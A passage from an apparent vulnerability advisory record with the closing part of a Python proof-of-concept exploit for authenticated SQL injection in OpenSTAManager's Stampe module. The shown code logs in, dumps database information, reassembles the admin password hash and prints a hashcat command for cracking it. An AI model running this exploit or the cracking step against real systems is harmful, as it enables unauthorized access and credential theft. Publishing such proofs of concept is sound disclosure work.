Exploit - OpenSTAManager Stampe Module          ║\")\n    print(\"║  CVE-PENDING | Authenticated Error-Based SQLi                 ║\")\n    print(\"╚\" + \"=\"*68 + \"╝\")\n    print()\n    print(f\"[*] Target: {args.url}\")\n    print(f\"[*] Username: {args.username}\")\n    print()\n\n    exploit = StampeSQLiExploit(args.url, args.username, args.password, args.verbose)\n\n    # Login first\n    if not exploit.login():\n        print(\"\\n[-] Authentication failed. Cannot proceed with exploitation.\")\n        print(\"[!] Please check:\")\n        print(\"    1. Are the credentials correct?\")\n        print(\"    2. Is the target URL accessible?\")\n        print(\"    3. Is the user account active?\")\n        sys.exit(1)\n\n    print()\n\n    # Extract data\n    results = exploit.dump_info()\n\n    # Summary\n    print(\"=\"*70)\n    print(\" EXTRACTION SUMMARY\")\n    print(\"=\"*70)\n    print()\n\n    if results:\n        for key, value in results.items():\n            print(f\"  {key:.\u003c40} {value}\")\n\n        # If we got admin password hash, combine it\n        if \"Admin Password Hash (1-30)\" in results and \"Admin Password Hash (31-60)\" in results:\n            full_hash = results[\"Admin Password Hash (1-30)\"] + results[\"Admin Password Hash (31-60)\"]\n            print()\n            print(\"  \" + \"=\"*66)\n            print(f\"  Full Admin Password Hash: {full_hash}\")\n            print(\"  \" + \"=\"*66)\n            print()\n            print(\"  [!] Crack with hashcat:\")\n            print(f\"      hashcat -m 3200 '{full_hash}' wordlist.txt\")\n    else:\n        print(\"  ✗ No data extracted\")\n        if not args.verbose:\n            print(\"\\n  [!] Try running with -v flag for debugging information\")\n\nif __name__ == \"__main__\":\n    main()\n\n```\n\n### Attribution\nReported by Łukasz Rybak","status":"published","published":"2026-02-03T19:01:46Z","modified":"2026-02-04T20:12:26.221579Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T15:46:55.122811Z"}]}}
